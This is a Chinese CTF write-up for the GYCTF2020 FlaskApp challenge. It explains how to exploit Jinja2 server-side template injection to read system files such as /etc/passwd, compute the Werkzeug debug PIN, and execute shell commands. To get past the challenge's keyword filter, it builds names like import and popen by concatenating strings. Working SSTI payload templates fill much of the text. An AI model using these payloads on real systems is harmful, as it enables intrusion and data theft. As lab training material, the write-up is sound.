[GYCTF2020]FlaskApp
文章目录
- [GYCTF2020]FlaskApp
- 常用绕过方法
- 掌握知识
- 解题思路
- 解题一 -- 计算pin码
- 解题二 -- 拼接绕过 执行命令
- 关键paylaod
常用绕过方法
ssti详解与例题以及绕过payload大全_ssti绕过空格_HoAd’s blog的博客-CSDN博客
CTF 对SSTI的一些总结 - FreeBuf网络安全行业门户
掌握知识
ssti
的python debug
的PIN
码计算,调用debug
命令行执行命令。存在ssti
注入就能进行命令执行,使用拼接操作绕过关键字过滤['o'+'s']
。不同版本的python
计算pin码的代码不同。python
的模板注入可以通过for循环遍历子类特征名的方式,来寻找能够执行命令的子类模块
其实计算pin
码的题目不应该存在ssti
模板注入,只需要有文件读取和文件包含漏洞就行,这样也就不会利用ssti
模板注入进行任意代码执行了
解题思路
解题一 – 计算pin码
- 打开题目链接,根据题目内容明显是一个
flask
模板的ssti
注入,查看一下hint
界面,在源码中发现pin
字样。前几天刚学完,在debug
的环境下输入PIN
码调用python
的交互式shell
- 先来列举一下
PIN
码计算的六个关键参数吧,pin码计算一定需要有文件包含和文件读取的漏洞。ssti
就可以调用内部命令进行文件读取
username: 运行该Flask程序的用户名 /etc/passwd文件内
modname: 模块名 flask.app
getattr(): app名,值为Flask
getattr(): Flask目录下的一个app.py的绝对路径,这个值可以在报错页面看到。但有个需注意,Python3是 app.py,Python2中是app.pyc。 报错页面回显(访问报错界面 输入不能识别的参数)
str(uuid.getnode()): MAC地址,读取这两个文件地址:/sys/class/net/eth0/address或者/sys/class/net/ens33/address
get_machine_id(): 系统id /etc/machine-id 或者docker环境id /proc/self/cgroup
- 了解了需要读取的文件目录,就要开始找能够执行文件读取函数的模块子类了。经过测试,在加密界面输入
ssti
注入paylaod
,在将加密的内容解密就能触发执行结果。找到了ssti
注入点,开始寻找要利用的模块子类了
python
的ssti
注入可以利用for循环遍历子类,通过if
判断想寻找的子类名是否存在,存在的话就执行后面代码,就是遍历子类名,寻找能够执行命令的子类,得到主机用户名为flaskweb
{% for x in {}.__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }}
{%endif%}
{%endfor%}
- 通过输入不合规则的数据进行解密,成功导致页面报错,得到了
Python
的app.py
的版本号和绝对路径,根据版本的不同需要执行不同的代码进行计算pin码。输入pin码的界面可以查看目录console
,也可以在报错界面右面直接进入
- 接下来继续使用遍历子类的方式来读取
MAC
地址和主机id
/sys/class/net/eth0/address
/etc/machine-id
,换一种方式,使用遍历paylaod
只需要把上面的文件名进行修改即可得到。下面换另外一个子类进行命令执行,只需要查询一下所有子类,将网页回显的内容粘贴到notepad
上,将空格
替换成\n
换行,即可显示为每一行为一个子类,只需要全局搜索一下常见可以利用的子类看其行号即可确定所在的列表位置。
查看所有子类
{{().__class__.__bases__[0].__subclasses__()}}
下面是利用_frozen_importlib._ModuleLock子类进行命令执行
获取主机用户名
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
获取MAC地址
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/sys/class/net/eth0/address').read()}}
5a:52:2f:5d:cc:5d ---> 99309028494429
docker环境特有id
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/proc/self/cgroup').read()}}
fc3dc388b7a8661f02eac8aefa9ffd2e6b5b7902b1369d6221cf4a51d8ff144a
- 得到了全部的
pin
码计算的条件之后,直接使用相应版本的pin
码计算的脚本,输入相应参数执行即可拿下pin
码,在相关界面输入pin码即可进去到Python
的交互式界面,调用os
模块进行命令执行,读取文件内容拿下flag
解题二 – 拼接绕过 执行命令
-
既然存在
ssti
注入,还能执行文件读取函数,那肯定就能执行系统命令了,只不过是被过滤了罢了,只需要将被过滤的内容进行拼接即可绕过。使用burp
抓包测试paylaod
,发现过滤内容为import
、os
、popen
、flag
、eval
、*
、?
-
直接进行遍历子类,寻找能够执行
os
模块系统命令的子类模块,子类还是寻找存在warning
字段的子类,进行命令执行
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x.__init__.__globals__['__builtins__']['__imp' + 'ort__']('o'+'s').__dict__['pop'+'en'] ('cat /this_is_the_f'+'lag.txt').read() }}
{%endif%}
{%endfor%}
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['__imp'+'ort__']('o'+'s').__dict__['po'+'pen'] ('ls /').read()}}
关键paylaod
遍历子类寻找能文件读取的子类 warnings.catch_warnings
{% for x in {}.__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }}
{%endif%}
{%endfor%}
遍历子类,找到能命令执行的子类
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x.__init__.__globals__['__builtins__']['__imp' + 'ort__']('o'+'s').__dict__['pop'+'en'] ('cat /this_is_the_f'+'lag.txt').read() }}
{%endif%}
{%endfor%}
直接调用子类进行文件读取和命令执行 _frozen_importlib._ModuleLock
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['__imp'+'ort__']('o'+'s').__dict__['po'+'pen'] ('ls /').read()}}